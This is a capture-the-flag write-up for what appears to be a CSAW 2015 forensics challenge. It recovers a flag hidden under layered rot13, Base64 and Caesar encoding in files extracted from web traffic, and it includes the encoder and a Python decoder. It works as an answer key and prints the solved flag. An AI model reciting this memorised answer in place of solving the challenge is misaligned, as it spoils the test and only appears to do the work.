Sure enough, there are quite bit of files to be seen. Here is a summary based on only the names and sizes of the files retrieved.

4 files roughly 153KB in size, having the name %5c - probably the HTML source of the sites that were visited
4 files roughly 24KB in size having the same name %5c - probably some CSS/JavaScript that came with the HTML source
123 files roughly 1KB in size having the name object<number> - no idea what that would be...
8 files roughly 1KB in size having the name %5c- probably various redirects (would make sense based on the 4+4 sites that were visited)

Looking at the files named %5c it's easy enough to confirm the above assumptions without taking to much time. Now for the hard part ... analyzing the many object<number> files ...

Luckily, opening up the very first one (in my case it's called object60) reviles a Python script!

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
 _rot13 = string.maketrans( 
     "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
     "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
 return string.translate(s, _rot13)

def b64e(s):
 return b64encode(s)

def caesar(plaintext, shift=3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def encode(pt, cnt=50):
 tmp = '2{}'.format(b64encode(pt))
 for cnt in xrange(cnt):
  c = random.choice(enc_ciphers)
  i = enc_ciphers.index(c) + 1
  _tmp = globals()[c](tmp)
  tmp = '{}{}'.format(i, _tmp)

 return tmp

if __name__ == '__main__':
 print encode(FLAG, cnt=?)

Well this looks promising! :)
It looks like a simple encoder/decoder, and it even has the flag template flag{xxx} embedded in it. There are four distinct functions here:

rot13 - a simple substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet
b64e - a function that simply encodes a string to Base64
caesar - another simple substitution cipher that replaces a letter with the letter 3 letters after it in the alphabet
encode - this seams to be the master function which is used to encrypt the flag (notice a call to the encrypt function at the main part of the script!). It seems to first encode the flag into Base64, but first it ads the number 2 before the encoded string is concatenated. The number 2 seems to align with the index of the b64e function in the enc_ciphers variable. The rest of the function seems to randomly pick a function from the enc_ciphers variable and then apply the chosen algorithm to the entire string, thus forming a new one. Each time, the index of the used algorithm is added before the string.

Obviously, we now have a way of decrypting the encrypted flag - we just need to find the string which was encoded. Looking at the rest of the object files, we see a bunch of seemingly random letters:

2Mk16Sk5iakYxVFZoS1RsWnZXbFZaYjFaa1prWmFkMDVWVGs1U2IyODFXa1ZuTUZadU1YVldiVkphVFVaS1dGWXlkbUZXTVdkMVprWnJWMlZHYzFsWGJscHVVekpOWVZaeFZsUmxWMnR5VkZabU5HaFdaM1pYY0hkdVRXOWFSMVJXYTA5V1YwcElhRVpTVm1WSGExUldWbHBrWm05dk5sSnZVbXhTVm5OWVZtNW1NV1l4V1dGVWJscFVaWEJoVjF

This seems to be our encrypted flag scattered across a bunch of files. As we can see, the number 2 at the beginning makes the first file (the one with the smallest number in object<number>) the first part of the encrypted string.

First we need to create two decryption functions: b64d, caesard.
b64d is simple - we just call Python's b64decode to decode the Base64 string back to it's original form.
caesard is also simple - we just use a -3 offset to revert the changes of the original caesar cypher

Adding it all together, we get the flag

flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

Here is the Python script I used - enjoy ! :)

import string
from base64 import b64decode
import os

mypath = "D:\CTFs/CSAW_2015/forensic/100/files/"
files = [ f for f in os.listdir(mypath) if os.path.isfile(os.path.join(mypath,f)) ]

encodedParts = []
for file in files:
 if "object" in file:
  encodedParts.append(int(file[6:]))

encodedParts = sorted(encodedParts)

# remove first element since it is the script itself ...
encodedParts.pop(0) 
# print encodedParts

encodedFlag = ""
for file in encodedParts:
 pathToFile = mypath + "object" + str(file)
 encodedFlag += open(pathToFile, "r").read()
 
# print encodedFlag

dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
 _rot13 = string.maketrans( 
     "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
     "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
 return string.translate(s, _rot13)

def b64d(s):
 return b64decode(s)

def caesard(plaintext, shift=-3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)


while(1):
 if (encodedFlag[0] == "1"):
  encodedFlag = rot13(encodedFlag[1:])
 elif (encodedFlag[0] =="2"):
  encodedFlag = b64d(encodedFlag[1:])
 elif (encodedFlag[0] =="3"):
  encodedFlag = caesard(encodedFlag[1:])
 else:
  print "finished..."
  print encodedFlag
  exit()